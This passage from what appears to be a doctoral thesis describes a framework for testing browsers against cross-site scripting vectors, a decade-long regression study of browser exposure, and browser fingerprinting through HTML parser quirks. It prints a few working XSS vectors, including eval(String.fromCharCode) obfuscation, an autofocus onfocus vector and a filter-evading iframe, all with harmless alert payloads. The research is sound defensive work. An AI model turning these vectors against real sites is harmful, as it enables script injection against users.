 sct : a .sct with a <SCRIPTLET> containing the ﬁnal JavaScript payload to
execute;
 event : the payload to execute delivered with a application/x-dom-event-stream
content-type;
 xdr : an .xdr ﬁle containing the XML declaration of a new onerror attribute which
called the JavaScript payload;
 base64 : a Base64 encoded JavaScript payload;
 b64uri : an URI containing the Base64 encoded JavaScript payload.
All these payload formats are required to comply with the HTML speciﬁcations of
various tags employed by the XSS vectors. It reﬂects the diversity of HTML quirks present
in browsers, and the evolutions of norms when it comes to JavaScript code execution.
A test suite is composed of a simple list of test cases to chain, that can be predeter-
mined, or generated and then given to the test driver. The payload is generated when
the test is requested. Several payload formats are available to cover the needs. Some XSS
attacks require delivering the XSS inside a speciﬁc ﬁle to trick the browser like in the
following vector:
<LINK REL="stylesheet"
HREF="http://ha.ckers.org/xss.css">
The payload content is determined by one keyword in the URL. A same XSS vector can
thus be served either with a test speciﬁc payload, made for test-suite execution, or with
a generic alert("xss"); payload for manual control and demonstration.
Depending on the browser JavaScript Engine, and how and where in the DOM the
JavaScript call is done, some callback functions might not work. A callback function
failing to join the XSS Test Driver doesn't mean that it was not executed. It might be
just unable to reach the validation url the way it is designed to due to browser security
measures. The ﬁrst validation method in XSS Test Driver generates a JavaScript redi-
rection of the web page to the test validation URL. But with some vectors, this method
doesn't trigger the expected web page redirection, failing to redirect the browser to the
validation url. It is due to some iframe sandbox mechanisms preventing the JavaScript
code to access window.location DOM property to trigger the redirection.
This is why we needed additional validation routines to reach the server with other
methods.
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An XMLHttpRequest callback function is present in the test payload, triggering a
speciﬁc validation URL. But this one too was subject to some security restrictions with
recent versions of Chrome.
A cookie based execution validation was added then, adding a cookie in the browser
to validate execution of a given test case, but it triggered security errors on Chrome
Iframe sandbox with srcdoc-based vectors. This feature was present in the ﬁrst version
of the tool and later replaced.
We eventually added a <img>-based callback to the payload, adding an image to the
DOM with an image source set to a validation URL delivering a green PASS verdict
image. This later validation method could also be used for JavaScript-less vectors.
4.6 User-Agent and Results Gathering
By listening to the HTTP exchanges between the browser and the framework, we
can identify each browser running by analyzing its user-agent. Thus, in order to run
several tests suites in parallel, we can set a session cookie to identify them. For a human
being, the user-agent is not readable 1, since it mainly contains the browser version and
compatibility information for the server.
Table 4.2  User-Agents Identiﬁcation
Browser User Agent String
Chrome 11.0.696.68 Mozilla/5.0 (Windows NT 6.1; WOW64)
AppleWebKit534.24 (KHTML, like Gecko)
Chrome/11.0.696.68 Safari534.24
Firefox 7 Mozilla5.0 (X11; Linux i686; rv:7.0.1)
Gecko20100101 Firefox7.0.1
Safari Mac OS X Leopard Mozilla5.0 (Macintosh; U; Intel Mac OS X 10_5_8;
fr-fr) AppleWebKit533.21.1 (KHTML, like Gecko)
Version5.0.5 Safari533.21.1
IE 8.0.6001.19048 Mozilla4.0 (compatible; MSIE 8.0; Windows NT 6.0;
WOW64; Trident4.0; SLCC1; .NET CLR 2.0.50727;.NET
CLR 3.5.30729; .NET4.0C; .NET4.0E;.NET CLR
3.0.30729)
4.7 Improving XSS Test Driver Performances
The ﬁrst meta-refresh based version of the XSS Test Driver induced some stability
issues, and the timeout for an individual test was too short for some vectors. In order
to leave enough time for the slowest browser to execute the payload, we determined a 3
1. Ex. a single Chrome user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
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second timeout to be optimal and safer. Thus to improve performance we exploited the
parallelism implemented in browsers by using several Iframes within the test execution
window. Thus increasing the performances of the overall test suite execution time.
Most of the execution time is spent in TCP connection establishment, A fully local
execution can be achieved, but all intermediate results will be lost in the case of a browser
crash. Since we experimented lots of them during the setup phase of the XSS Test Driver,
we chose to collect test results on the ﬂy.
4.8 Conclusion
Many challenges had to be solved to properly test the XSS vector 's eﬀective execution
within real browsers. First, the cross browser compatibility, then the non-intrusiveness
of the test framework and ﬁnally the performance.
The XSS Test Driver is the corner stone of this thesis. It allows proper qualiﬁcation
of XSS vectors, and we will use it in the following chapters ﬁrstly to assess the browsers-
attack surface against XSS, secondly to perform browser ﬁngerprinting through HTML
quirks.
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Chapter 5
Browser Regression Testing on XSS
Vectors
Quality is never an accident; it
is always the result of intelligent
eﬀort.
John Ruskin
I'll be back
Terminator 2
The question we raise in this chapter is whether the constant evolution of browsers
leads to an overall improvement of the ﬁnal client's security. In this chapter, we analyze
six diﬀerent families of web browsers, and their evolution in terms of threat exposure
to XSS. As we have seen in the state of the art, comparing attack surfaces is a way to
evaluate if a system is more or less secure than another. This analysis has been made
possible by the XSS Test Driver tool, presented in the previous chapter.
The contribution of this chapter is a method based on XSS Test Driver to system-
atically test the impact of a large set of XSS vectors on web browsers. This allows us to
measure the attack surface of a given web browser with respect to XSS [99]. Using this
tool, we assess two hypotheses related to the attack surface of web browsers:
H1. Browsers belonging to two diﬀerent families have diﬀerent attack surfaces. In
other words, they are not sensitive to the same attack vectors. This ﬁrst hypothesis is
crucial to understanding whether there is a shared security policy between web browser
vendors headed against XSS attacks to protect clients against web attacks.
H2.Web browsers are not systematically tested w.r.t. their sensitivity to XSS vectors.
The validation of this hypothesis would mean that web browser providers do not have a
systematic regression strategy for improving the robustness of their web browsers from
one version to the next.
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To assess those two hypotheses, we have analyzed the releases of six families of web
browsers over a decade. We advocate the use of a shared security testing benchmark with
our ﬁrst set of publicly available XSS vectors to ensure that security is not sacriﬁced when
a new version is delivered.
The chapter is organized as follows: Section 5.1 describes several metrics used for
our analysis. Section 5.2 presents our experimental setup using the XSS Test Driver.
Section 5.3 analyzes the experiment results and the validity of our hypothesis. Section
5.4 presents some preliminary results on client-side honeypots (honeyclients) testing with
this method.
5.1 Metrics
To provide an overview of the sensitivity of a given web browser submitted to a set
of XSS attack vectors, we have deﬁned several metrics.
Let TS be a XSS test case set. Let verdict(tc, wb) be the verdict of the execution of
the test case tc of TS against a web browser wb. verdict(tc, wb) returns either Pass (the
XSS succeeds) or Fail. Let TR be the tests results of the execution of TS against a web
browser wb, represented as a n-dimension vector.
5.1.1 The Threat Exposure Degree ThExp(wb, TS)
The threat exposure of a web browser wb to a XSS test set TS is deﬁned as the rate
of Pass verdicts when executed against the elements of TS:
ThExp(wb, TS) =
|{verdict(tc, wb) = ”Pass”}, tc ∈ TS|
|TS| (5.1)
A value of 1 means that all the test cases (XSS attack vectors) are interpreted: the web
browser is thus potentially vulnerable to the full XSS test set. On the contrary, a value
of 0 means that the web browser is not sensitive to this XSS test set.
5.1.2 The Degree of Noxiousness Nox(tc,WB)
Symmetrically to the analysis of the exposure degree of a particular web browser, one
can be interested into studying the impact of a given XSS attack vector on a set of web
browsers. The degree of noxiousness of a test case is thus related to the percentage of
web browsers it potentially aﬀects.
The Degree of Noxiousness Nox(tc,WB) of a XSS test case tc, against a set of web
browsers WB is deﬁned as the percentage of Pass verdicts among the number of tested
browsers:
Nox(tc,WB) =
|{verdict(tc, wb) = ”Pass”}, wb ∈WB|
|WB| (5.2)
Nox equals 0 if the XSS attack vector is not interpreted by any web browser, and
equals 1 if all web browsers interpret it.
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To focus on the evolution of a family of web browsers, we need to estimate the
convergence or divergence of the attack surface from one version to another.
5.1.3 The Attack Surface Distance
The browser attack surface is deﬁned, in this thesis, by the set of passing test results
on a given browser. Since we want to compare evolutions between browsers, we need a
similarity measurement between attack surfaces.
The attack surface distance is deﬁned to measure how much a version diﬀers in
behavior from another. Two versions may have the same exposure degree while not being
sensitive to the same attack vectors.
Thus, the attack surface distance is deﬁned as the hamming distance between the
browsers' attack surface:
ASD(wb1, wb2) = Hamming(TR1, TR2) (5.3)
The attack surface distance equals 0 if the two versions of a browser have exactly the
same attack surface. Note that exposure degrees may be the same while two web browsers
do not have the same exact attack surface. For instance, if Pass(1) = {tc1, tc4, tc5} and
Pass(2) = {tc1, tc2, tc3}, ASD(1, 2) equals 4, while the threat exposure degrees are the
same. Indeed, the version 2 is no more impacted by tc4 and tc5 but is now aﬀected by
tc2 and tc3. The attack surface distance thus reveals the number of diﬀerences between
two versions in terms of sensitivity to a set of XSS attack vectors.
5.2 Experimental Design
The empirical study requires executing a set of XSS test cases on a large set of web
browsers. This raises the question of the selection of the test cases.
In chapter 4, we presented an XSS vector Testing Framework that we have developed.
It allows the validation of the execution of a given XSS vector under speciﬁc conditions
like the character set, the content-type or the HTML doctype. These parameters may also
inﬂuence the behavior of the browser.
The XSS Vector qualiﬁcation was mainly done manually by hackers and researchers.
We propose a way to automate this testing. Moreover, by exploiting the results we can
determine if a given XSS vector is interpreted by new browser version, or if a new XSS
vector based on an upcoming browser feature may be eﬃcient against a new browser's
version.
The whole process from installation to regression testing of XSS vectors was auto-
mated to provide an up-to-date view of validity for any given XSS vectors.
5.2.1 XSS Vector Set
The XSS vector set is originally built from the following sources:
 the XSS Cheat Sheet [100]
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 the HTML5 Security Cheat Sheet [20]
 the UTF-7 XSS Cheat sheet [101]
 some of our discovered vectors using a n-cube test generation.
To ﬁnd new vectors, we exhaustively combined HTML4 tags and property sets with
JavaScript calls and used the scalar product of those {tag, property, call} sets to generate
XSS vectors.
With this approach we generated 44 000 test cases, retrieving variations of already
known vectors. With such a systematic test cases generation, we neither consider the
inter-dependencies between tags nor the related constraints to be satisﬁed in order to
obtain a valid vector. The resulting vectors thus are sometimes invalid, such as calling
HTML5 or SVG tags without the proper document type/content-type declared. Only
6 vectors were original at the time of the experiment, and were later integrated in the
HTML5 security cheat sheet by other researchers in the same ﬁeld.
Because of the redundancies between vector sets, we had to sort them out, and remove
duplicates. To do so we then proceeded in three steps:
 union of the referenced sets
 manual ﬁltering of redundant test cases
 replacement of the default payload with one payload dedicated to the XSS Test
Driver (to facilitate the computation of the oracle verdict).
Test cases are diﬀerent when they are exercising diﬀerent JS mechanisms. It is possible
to artiﬁcially multiply the total number of XSS test vectors; however we wanted to get
the smallest number of diﬀerent test cases. This point is crucial for the internal diversity
of the test benchmark we propose. Similar test cases would not be eﬃcient to exhibit
diﬀerent behaviors for web browsers.
The XSS test cases we used represent a large variety of dissimilar XSS vectors. We
adapted them to have a payload dedicated to the interpretation of results. The resulting
test set contains 87 test cases, among them 6 generated by our systematic test generation
method (which were unreferenced when we ran these experiments in 2011).
5.2.2 Browser Set
The browser set consists of various versions of the browser families from July 1998 to
March 2011. The qualiﬁed browsers are: Internet Explorer, Netscape, Mozilla, Firefox,
Opera, Safari and Chrome. When available, we also consider and compare mobile versions
of the web browsers.
Browser installers were collected from oldapps.com 1. Installation and execution is
automated using the AutoIT framework running in several Windows XP virtual ma-
chines for compatibility purposes. Mobile versions were installed manually either within
emulators or in real smartphones when available.
Our AutoIT automation takes browser installers from a folder, runs the installation,
then launches the browser to the test URL. Once the "suite executed" title appears in
the browser, our AutoIT script uninstalls the browser version and goes for another one.
1. Old software repository http://oldapps.com/
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Deployment time with AutoIT takes approximately one or two minutes. Execution
times range from 30s to 5 minutes depending on the browser version and computing
power. Mobile versions running on emulator or real hardware tend to be slow. Recent
desktop versions tend to be faster than older ones hopefully.
5.2.3 Threats to Validity
The validity of the experiments relies on the relevance of the test cases. As far as we
know, we have proposed the most comprehensive and compact set of diﬀerent XSS test
vectors. However, as shown in section 2, it is extremely diﬃcult to be exhaustive: new
attacks are diﬃcult to ﬁnd since they exploit very particular aspects of JS interpreters.
New attack vectors can be found everyday by hackers, or may be still unreferenced in
the literature and the security websites. To overcome this problem, we tried to generate
new, still unreferenced, XSS test vectors: Our test bench is good to validate any vector,
and we have found 6 new vectors.
5.2.4 Technical Issues and Details
Existing frameworks, such as JS unit and JS test driver, do not meet the fundamental
requirements for systematic testing of web browsers: being non intrusive (the test envi-
ronment must not impact on the test results), being compatible with any web browser
(for systematic benchmarking) and allowing the test results to be easily interpreted (test
oracle). The developed testing framework for XSS is called the XSS Test Driver. Anyone
can test his/her own browser here: [102] and source code is available here on github: [103].
An XSS execution comes in two parts: the browser parses the HTML, identifying the
parts of the Document Object Model and building an internal representation of it. Then
it calls the identiﬁed JavaScript (from < script >tags or tags properties) and executes it
if necessary (it is not always the case when it comes to onevent properties such as onload
or onmouseover).
5.3 Empirical Results
The empirical study we present targets two objectives:
1. validating the applicability of our testing framework and
2. investigating to what extent main web browser families are tested by their devel-
opers with respect to a regression testing policy.
5.3.1 Testing Hypothesis H1
To test H1, we executed 87 XSS vectors against three categories of web browsers: mod-
ern/recent versions, mobile versions and some still used legacy versions of web browsers.
The result is a snapshot of main web browser's threat exposures. Table 5.1 and 5.2
shows the test results: On table 5.1, we present the results against XSS test cases 3 to 45
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(tests #1 and #2 belongs to failing vectors not executed with the current browser set),
and table 5.2 presents results from 45 to 87 (result 45 is repeated for presentation reasons).
A black cell represents a Pass verdict. The three categories of browsers appear in the
column header, and for each of the web browser the threat exposure degree is presented
in the ﬁrst row (30 for IE8 means 30% of threat exposure degree). The noxiousness
degree for each XSS test case is given on the last column, right. We provide these degrees
considering all browsers in the web browser set. Test cases #53, #54 and #59 are based
on HTML5 tags and properties, thus making them ineﬀective against legacy browsers.
Listing 5.1  XSS vector #53
1 <input onfocus=javascript:eval(String['fromCharCode']
2 (97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
Some XSS vectors pass with the majority of the browsers, while others pass only with
a speciﬁc version. This is due to the implementation of various norms, and the quality
of parser's behavior toward the norm (Ex: between IE6 and IE7 a signiﬁcant eﬀort was
done toward the implementation of standards). Only few test cases are eﬀective within
the whole browser set.
This can be explained by the main method used by a XSS. For instance, vectors
number #3 to #6 are basic <script> tag based XSS with various payload deliveries.
#12 and #13 are <body> tags based XSS with an OnLoad event set to execute the
payload. #17 is a <script> tag with doubled brackets to evade basic ﬁlters. Test data
#19 oﬀers a very interesting form of evasion based on a half-opened <iframe> tag loading
the payload from a dedicated HTML page <iframe src=/inc/16/payload.html <. We
observed that 29 collected vectors were not executed by any of the selected browsers for
the following reasons:
 some browser speciﬁc vector aﬀects a precise version, like #15 from the XSS Cheat
Sheet [100] which works only with speciﬁc version of Firefox 2.0 and Netscape 8.1.
 Some failed due to an improper test context like the character set used for the
test suite, or the wrong DTD or content type, showing that context-dependent
and context independent vectors exist.
 Some vectors made the browser unstable or crash, like the one in listing 5.3.1
which plunged IE in some kind of a polling loop against the server.
1 <DIV STYLE="width:expression(
2   eval(String['fromCharCode']
3    (97,108,101,114,116,40,39,
4      120,115,115,39,41,32)
5    ));">
Some web browsers have similar behaviors. However, we can remark that all columns
are diﬀerent, meaning that each web browser has a diﬀerent signature when submitted
to our testing benchmark. When the signature is very similar, this reveals a JS inter-
pretation engine that is based on the same initial implementation. Most popular web
browsers are not exactly sensitive to the same attack vectors, and many of them have
very diﬀerent signatures.
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Application to Test Cases Selection
This snapshot opens a new perspective for the security test case selection. As shown,
each web browser has its own threat exposure, and each attack vector is carrying a
potential noxiousness degree. The table oﬀers a very simple way to select a subset of
web browsers enabling a maximum number of attacks. We can thus use this matrix to
select the test cases that can be used for testing a web application for a given category of
web browsers. For instance, test cases (#10, #23, #40, #80) are not noxious for modern
web browsers. The fast-paced development of todays browsers makes it diﬃcult to track
the eﬀectiveness of an XSS vector, and when a new vector is discovered, it can be quite
tedious to test it against several browsers. The XSS Test Driver solves this issue, and
eases comparisons.
Modern Browsers Have Similar Behaviors
With the considered modern browsers, 32 of the 87 test cases pass. We observe similar
behaviors for some web browsers. For instance, Safari and Chrome's behaviors against
the 87 test cases are exactly the same except for test #16 and #83. This can easily be
explained. Chrome uses Apple Webkit 534.3 for a rendering engine, whereas the Safari
version we tested uses the version 533.21.1 (version depicted by the user-agent). This
conﬁrms that the HTML Parser matters for XSS execution.
Mobile vs Desktop Browsers
For the mobile browsers, the number of valid test cases is quite the same as for desktop
browsers(43 test cases pass among the 87 ones), but the average ASD(mwb, dwb) between
a mobile wb and its desktop version is not null. ASD(Opera mobile, Opera desktop)
equals 4. This implies that the mobile version of a desktop browser contain changes that
inﬂuence the vector execution.
If we compare the results of the Safari mobile with the desktop version, we can see
that the results are the same. This is normal because they share the same codebase (table
5.3).
Parsing Engine and Mobile Browsers
When comparing mobile and desktop versions of the same browser family, we can
observe slight diﬀerences, like between Opera mobile and desktop, or Firefox 4 mobile
and desktop (table 5.3). H1 is also veriﬁed, meaning that, even with very close browsers,
the behaviors are not exactly the same. Between Opera mobile and desktop, only one
vector (see listing 5.2 ) execution changes.
Listing 5.2  Input onfocus XSS vector
1 <input onfocus=javascript:eval(
2 String['fromCharCode'](
3 97,108,101,114,116,40,
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4 39,120,115,115,39,41,
5 32)
6 ) autofocus>
Since they embed the same Presto engine, they recognize the same vectors, but the
JavaScript events are interpreted diﬀerently due to the speciﬁcity of mobile browsing, such
as the onfocus event. The same behavior can be observed between Firefox desktop and the
mobile versions: the results are closed but diﬀerent. Mobile browsers like Android's default
browser oﬀer a normal version browsing function for websites displaying a diﬀerent
design for mobiles. But it does not implies any changes. When testing both mobile and
standard versions on the XSS Test Driver, test results are the same, indicating that no
speciﬁc rendering is done, relying only on the server's behavior. It means that only the
user-agent string is modiﬁed when the "normal version" mode is enabled. If we modify
the mobile browser's options, we can impact its interpretation of vectors. As you can see
in ﬁgure 5.3, the IE Mobile browser was set with a loose security policy for JavaScript,
and so it rendered more vectors than the version used in the table 5.1 and table 5.2.
Legacy Browsers Are More Exposed
While it is still broadly used in corporate environment, IE6 oﬀers the highest threat
exposure, with 45% ThExp. This is due to the very fault-tolerant parser inherited from
the ﬁrst browser war by IE. At this time, rendering websites properly by correcting
developer mistakes in HTML was a way to keep customers satisﬁed. This tolerance illus-
trates the bad impact of a feature driven development on security. Making things easy
for developers without regards for security exposes the user.
5.3.2 Testing Hypothesis H2
Figure 5.7 presents the evolution of the threat exposures ThExp over time. It clearly
appears that no continuous improvements appear; many curves are chaotic and the expo-
sure often increases. Figure 5.1 presents this evolution for Opera, which is released every
six months. The number of XSS vectors that pass is showing in the dark columns. The
ASD between the current version and the previous one is presented in the grey columns
(attack surface distance). Between Opera 10.50 (n) and 10.10 (n-1), while the number of
passing vectors is close (23 and 17), the ASD(TROpera10.50, TROpera10.10) is high (12).
It reveals a strong instability between these two minor versions instead of a stabilized
behavior. It also reveals a lack of systematic regression testing from one version to an-
other. This cannot be explained only by new norms implementations for HTML. As a
result, there is no convergence, no strict decreasing or stabilization of the ThExp from
one version to another.
The same observations can be made in regards to Firefox (Figure 5.4), and IE (Figure
5.5). For IE, there are distances that are higher than the new number of passing XSS vec-
tors (ASD(TRIE5, TRIE6) and ASD(TRIE6, TRIE7)). It means that, from one version
to the next one, the same web browser reacts in a diﬀerent way to XSS attack vectors.
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Figure 5.1  Opera regression. passing vectors / ASD(TRn, TRn−1)
This limit case reveals a lack of systematic regression testing methodology related to XSS
attack vectors.
For Android (Figure 5.6), the evolution seems more straightforward, with a more or
less constant threat exposure degree and small variations of distance values. To conclude,
since in all cases there is no constant improvement for any web brother, we consider that
the hypothesis H2 is validated: web browsers are not systematically tested w.r.t. their
sensitivity to XSS vectors.
The web browser attack surface's main evolutions from one version to another can-
not be due only to external factors, such as changes in HTML standard deﬁnitions or
JavaScript. If these changes force the web browser implementations to evolve, they do
not explain the chaotic evolutions of attack surfaces. The attack surface is not strictly
decreasing or stabilizing from one version to another.
Most of the validation eﬀorts from W3C are focused on the HTML standard, but
not on the browser's behavior. One reason is the diﬃculty to automate testing and make
it cost-eﬃcient. The XSS Test Driver can be used to ensure such regression testing. It
allows to determine, for a given web browser:
 its exposure to XSS vectors over time
 its behavioral stability from one version to another.
This experiment shows that systematic regression testing is feasible with the XSS Test
Driver and opens new research issues for test selection and the diagnosis of web browsers.
5.4 Client-Side Honeypot Testing
Since the XSS Test Driver is meant to test browser-speciﬁc features to highlight
behavior discrepancies, it can be used to test the emulation quality of a client-side hon-
eypot.
We used it to test Thug a low interaction client-side honeypot. Thug's goal is to
emulate several browsers. By doing so we helped greatly in improving Thug emulation,
by spotting incoherences in its behavior compared to a real browser. For example, we
spotted a cookie management issue in Thug preventing cookie transmission when a new
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Figure 5.2  Netscape regression. passing vectors / ASD(TRn, TRn−1)
Figure 5.3  Mozilla regression. passing vectors / ASD(TRn, TRn−1)
Figure 5.4  Firefox regression. passing vectors / ASD(TRn, TRn−1)
Iframe is added to the document.
We also ranWepawet [27] against our tool, and it didn't completed the tests, probably
due to a timeout mechanism. We thus decided to test the browser engine withinWepawet :
HtmlUnit. In table 5.4 we can observe several diﬀerences in the behavior between the
impersonated browser and real ones. Thus, HtmlUnit can be considered incomplete as a
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Figure 5.5  Internet Explorer regression. passing vectors / ASD(TRn, TRn−1)
Figure 5.6  Android regression. passing vectors / ASD(TRn, TRn−1)
Figure 5.7  Browsers' XSS Exposure over Time
XSS vector execution test oracle.
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5.5 Conclusion
In this chapter, we presented a methodology and a tool for accurately testing web
browsers against XSS vectors. The XSS Test Driver framework is a building block to
addressing this issue. To demonstrate the feasibility of the approach, we executed a set
of XSS test cases against popular web browsers.
We performed a ﬁrst experiment that compares current web browsers. The observation
is that the browsers behave diﬀerently for the same XSS vector execution, even when they
embed the same JS execution engine. The second investigation addresses the question
of the improvement of web browsers over a 10 years period. We observed that there is
neither a clear systematic reduction or stabilization of the attack surface nor any logic in
the way the web browsers react to the XSS test cases. This result pleads for a systematic
use of security test regression technique. For that purpose, we have provide a ﬁrst set of
test cases [102] and a set of practices that can be used both by web browser developers
and by their users.
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Table 5.1  Test results for vectors 1 to 42
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Table 5.2  Test results for vectors 42 to 84
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Table 5.3  Mobiles & Desktop comparison
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16 1 1 1 1 0 0 0 0 0 1
18 0 0 1 0 0 0 0 0 0 0
20 0 0 1 0 0 0 0 0 0 0
21 0 0 1 0 0 0 0 0 0 0
22 0 0 1 0 0 0 0 0 0 0
26 0 0 1 0 0 0 0 0 0 0
31 0 1 0 0 1 1 1 1 1 1
33 1 0 1 1 1 0 1 1 1 1
34 0 0 1 0 0 0 0 0 0 0
35 0 0 1 0 0 0 0 0 0 0
36 0 0 1 0 0 0 0 0 0 0
37 0 0 1 0 0 0 0 0 0 0
38 0 0 1 0 0 0 0 0 0 0
41 0 0 1 0 0 0 0 0 0 0
42 0 0 1 0 0 0 0 0 0 0
43 0 0 1 0 0 0 0 0 0 0
46 0 0 0 0 0 0 0 0 1 0
48 0 0 1 0 0 0 0 0 0 0
50 1 1 1 1 1 1 1 1 1 1
53 1 0 0 0 1 0 1 1 1 1
54 1 0 0 0 1 0 1 1 1 1
56 1 0 0 0 0 0 0 0 0 1
59 1 1 0 0 1 0 0 1 1 1
61 0 1 0 0 0 0 0 0 0 0
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68 0 0 1 0 0 0 0 0 0 0
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71 0 0 1 0 0 0 0 0 0 0
74 0 0 0 0 0 0 0 0 1 0
76 1 1 1 1 1 1 1 1 1 1
77 0 0 1 0 0 0 0 0 0 0
83 1 0 1 1 1 0 1 1 1 1
85 1 0 0 0 0 0 0 0 1 0
Browser/Vector 10 254 258 281 293 294 296 373 374 398 399 406 421 428 430 523 525
iPad 3 1 0 0 0 1 1 0 0 1 1 0 0 0 0 0 1 0
Chromium - 22.0 1 1 1 0 1 1 1 0 1 0 0 0 1 1 1 1 0
Firefox 19 1 0 1 0 0 0 0 1 0 1 1 1 1 0 1 0 0
Chrome Canary 28.0.1478.0 1 1 1 0 1 1 1 0 1 0 0 0 1 1 1 1 0
Firefox 20.0.1 1 0 1 0 0 0 0 1 0 1 1 1 1 0 1 0 0
Firefox 21 1 0 1 0 0 0 0 1 0 1 1 1 1 0 1 0 0
Chrome 1 1 1 0 1 1 1 0 1 0 0 0 1 1 1 1 0
HTMLUnit 2.14 (Default) 1 0 0 0 1 1 1 0 1 1 0 0 0 0 0 0 0
HTMLUnit 2.14 (Firefox) 0 0 0 1 0 0 0 1 0 0 1 0 1 0 0 0 1
HTMLUnit 2.14 (Chrome) 0 0 0 1 0 0 0 1 0 0 1 0 1 0 0 0 1
Table 5.4  HtmlUnit vs real browser comparison
99
5.5. CONCLUSION
100
Chapter 6
Browser Fingerprinting Based on
XSS Vectors
If someone hacks your password,
you can change it - as many
times as you want. You can't
change your ﬁngerprints. You
have only ten of them. And you
leave them on everything you
touch; they are deﬁnitely not a
secret.
Al Franken
Drive-by download attacks rely on browser ﬁngerprinting. The study of such tech-
niques is highly desirable to uncover them in intrusion detection systems or honeyclients.
This chapter presents and evaluates a novel ﬁngerprinting technique to determine the
exact release of a browser, exploiting HTML parser quirks exercised through XSS. Our
experiments show that the exact version of a web browser can be determined with 71%
accuracy, and only 5 tests are needed to quickly determine the exact browser family.
6.1 Introduction
In computer security, ﬁngerprinting consists in identifying a system from the outside,
i.e. guessing its type and version [104] by observing speciﬁc behaviors (passive ﬁngerprint-
ing), or collecting speciﬁc system responses to various stimuli (active ﬁngerprinting). For
instance browser ﬁngerprinting relies on browser speciﬁc behaviors to identify browser
characteristics like family (e.g. Firefox vs Internet Explorer) or version number (e.g. IE8
vs IE9).
Browsers can also leak user-related information, e.g. computer setup information,
hardware vendor or installed plug-in. Such information in suﬃcient quantity can identify
a unique browser instance associated with the user [87]. Thus, one can distinguish two
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kinds of browser ﬁngerprinting. Based on user-related informations, one may identify a
user on the Internet, (see [87]), threatening his privacy. Based on browser quirks, one
may identify the browser type and its version, threatening system security like in drive-
by-download scenarii.
Such browser quirks 1 come from diﬀerent sources like cross browser compatibility
issue. It is a known software engineering problem [x-pert & cie] occuring when the same
piece of HTML or JavaScript code produce diﬀerent visual or behavioral outputs on
diﬀerent browsers. Obviously, partial implementations of new HTML norms or bug ﬁxing
are also sources of behavioral diﬀerences between versions.
Many XSS vectors are based on browser quirks, and those quirks also serves for
security ﬁlters evasion [37] 2 and web application ﬁrewall bypass 3. Thus, it should be
possible to ﬁngerprint browsers using XSS vectors. Those XSS Vectors are remotely
testable HTML parser quirks and can be collected from various sources (see 6.4.3).
In the wild, exploit kits use browser quirks for ﬁngerprinting and sandbox evasion to
increase likelihood of successful exploitation during drive-by download attacks [27] [30].
Thus, ﬁngerprinting exercised through HTML parser quirks is a security issue since it
aims to reveal browser version. If we want to improve client-side attack detection, we
must study the impact of such technique.
In this chapter, we propose a new ﬁngerprinting technique based on behavioral diﬀer-
ences between HTML parsing implementations triggered using XSS vectors and evaluate
it through an empirical study.
Fingerprinting using HTML parsing quirks is orthogonal to other browser ﬁngerprint-
ing methods targeting JavaScript engine, or network behavior. Our approach targets
HTML parsing engine and the binding code between DOM and JavaScript engine. It
could be combined with other techniques for a ﬁner-grained and more resilient browser
identiﬁcation.
We collected browser signatures through 527 XSS vectors, we built a set of 2108 Test
cases using two web contexts and two character sets to ﬁngerprint browsers. We tested
this ﬁngerprint dataset against 77 Browsers. We have a 77% successful detection rate for
exact browser version identiﬁcation.
Previous work in the ﬁeld of browser ﬁngerprinting was based on analyzing the
JavaScript engine behavior [90] or the network behavior [91] of a browser. Graphic card
identiﬁcation was also achieved through HTML5 canvas features [105].
Forakis et al. observed various ﬁngerprinting method employed in marketing and fraud
detection tools based on JavaScript, Flash, ActiveX and Java targetting user-speciﬁc
properties. They also proposed a ﬁngerprinting method based on properties carried by
the screen and navigator objects [88].
The use of HTML parsing quirks exercised through XSS Vectors is an original ﬁn-
gerprinting technique.
Section 6.3 is an overview of the approach. The next sections describe the XSS vector
1. The Merriam-Webster dictionary deﬁnes a quirk as a a peculiar trait
2. https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project
3. https://www.owasp.org/index.php/Web_Application_Firewall
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collection, and the dedicated tool we have developed to execute the HTML parser quirks.
Section 6.5 describes data mining classiﬁcation we use to ﬁngerprint browsers. Section 6.7
discusses our ﬁngerprinting capabilities, including a discussion on how ﬁngerprints can
be forged. Section 6.8 discusses browser ﬁngerprinting from an expert security engineer
viewpoint. Section 6.9 concludes the paper.
6.2 Rationales
In drive-by download attacks, prior to vulnerability exploitation, a browser is often
redirected several times between diﬀerent websites to blur the tracks to the attacker. In
this redirection process, a phase of browser ﬁngerprinting can happen using JavaScript
techniques exploiting browsers features and some vendor speciﬁc functions. Some of these
ﬁngerprinting techniques are used to evade JavaScript sandboxes and HoneyClient to
increase lifespan of redirection and infection websites before getting blacklisted by Google
Safebrowsing, web ﬁltering proxy and Anti-Virus products. Thus, studying ﬁngerprinting
techniques can help improving malware analysis tools by ﬂagging ﬁngerprinting pitfalls
such as browser engine ﬁngerprinting.
While Fingerprinting of user information is used against user privacy, Fingerprinting
of browser engines is used against user system security.
6.2.1 Defeating Session Stealing with Browser Fingerprinting
Session stealing means stealing a cookie or a session ID in order to access unauthorized
resources. Server-side software is responsible to detect session stealing. This can be done
through checking whether the presented cookie or session ID matches the HTTP user-
agent header. However, as said, this does not work if attackers are able to steal both the
credentials and the user-agent. Checking credentials with IP addresses is not a valid way
to check session stealing due to users mobility and NAT mechanisms.
With browser ﬁngerprinting, at any point in time, server software can: 1) verify
whether the HTTP user-agent matches the inferred browser type (detection of UA spoof-
ing) 2) verify whether the inferred browser type matches the browser that was used on
login (detection of session stealing).
Beyond this key use-case, there are many other uses of browser ﬁngerprinting, further
discussed in Section 6.8.
6.2.2 The Beneﬁts of Using HTML Parser Quirks For Fingerprinting
Previous work in the ﬁeld of browser ﬁngerprinting was based on analyzing the
JavaScript behavior [90] or the network behavior [91] of browsers. In this paper, we
use the HTML parser quirks for browser ﬁngerprinting. HTML parser quirks are pecu-
liar behaviors under speciﬁc inputs. They may have diﬀerent consequences, in particular
incorrect rendering or undesired execution of JavaScript code.
The latter point is daily exploited by cross site scripting attacks (XSS). A XSS
attack embeds an executable malicious payload into a piece of speciﬁc HTML code. By
103
6.2. RATIONALES
replacing the malicious payload by a simple binary output telling the server whether
a speciﬁc parser behavior is observed or not, one can observe from the server-side the
execution of HTML parser quirks. For us, those execution-based quirks are invaluable:
they are testable remotely.
Furthermore, HTML parser quirks are known. The very active community on cross-
site scripting research has produced inventories of HTML parser quirks. This means we
